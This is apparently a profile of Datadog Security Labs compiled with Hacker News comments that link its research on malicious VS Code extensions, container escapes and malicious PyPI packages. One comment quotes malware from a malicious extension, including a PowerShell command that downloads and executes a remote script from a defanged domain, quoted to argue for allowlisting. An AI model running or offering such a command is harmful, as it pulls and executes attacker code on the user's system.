Security research arm of Datadog, publishing vulnerability analyses and malware findings on cloud services, PyPI packages, and containers.
HN links it for original findings, such as the MUT-1244 campaign and GuardDog. One commenter, a post author, rejects the charge of content marketing.
restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.
Take for example this activity from a malicious extension:
This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidity-vscode-extensions/
Or this one:
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res)
they also establishes outbound connections to dropbox and other not expected domains:
https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware
so maybe it's not bulletproof, but it helps to mitigate these threats.
Author here - sorry you feel like this is content marketing. I identify myself as a cloud security engineer, so that's a clear antigoal. The intent is to show what's the systematic adoption of cloud security controls _that matter_, based on real-world data breaches. We also published a follow-up post[1] with actionable advice for practitioners on how to turn on some of these mechanisms (such as S3 Public Access Block).
Would love to hear your thoughts on how we can make it "deeper" and "more accurate" in the future!
[1]: https://securitylabs.datadoghq.com/articles/state-of-aws-cloud-security-followup/
Multiple CVEs for escaping? E.g.:
* https://blog.aquasec.com/cve-2022-0185-linux-kernel-container-escape-in-kubernetes
* https://securitylabs.datadoghq.com/articles/dirty-pipe-container-escape-poc/
* https://snyk.io/learn/docker-security/top-5-vulnerabilities/
* https://www.container-security.site/attackers/container_breakout_vulnerabilities.html
The only escaping of jails that I've heard of in the last ~20 years is one not in the jails code, but tunnelling out through devfs:
* https://www.freebsd.org/security/advisories/FreeBSD-SA-14:07.devfs.asc
I feel like I remember a similar attack related to Entra ID from a while ago, although I can't remember exactly what it was (maybe [0] or [1]?).. I understand that this is a complex system, but I would be concerned with the number of relatively high severity vulnerabilities being found in it.
[0]: https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ [1]: https://www.semperis.com/blog/unoauthorized-privilege-elevation-through-microsoft-applications/
PyPi, but yes. https://securitylabs.datadoghq.com/articles/guarddog-identify-malicious-pypi-packages/#:~:text=Malicious%20PyPI%20packages%20have%20enabled,and%20perform%20cryptojacking%20(colourama). The link also mentions that PHP has been attacked in this way.
As has rust. https://blog.rust-lang.org/2022/05/10/malicious-crate-rustdecimal.html
Original discovery by datadog: Threat actor MUT-1244 targets offensive actors, leaking hundreds of thousands of credentials https://securitylabs.datadoghq.com/articles/mut-1244-targeting-offensive-actors/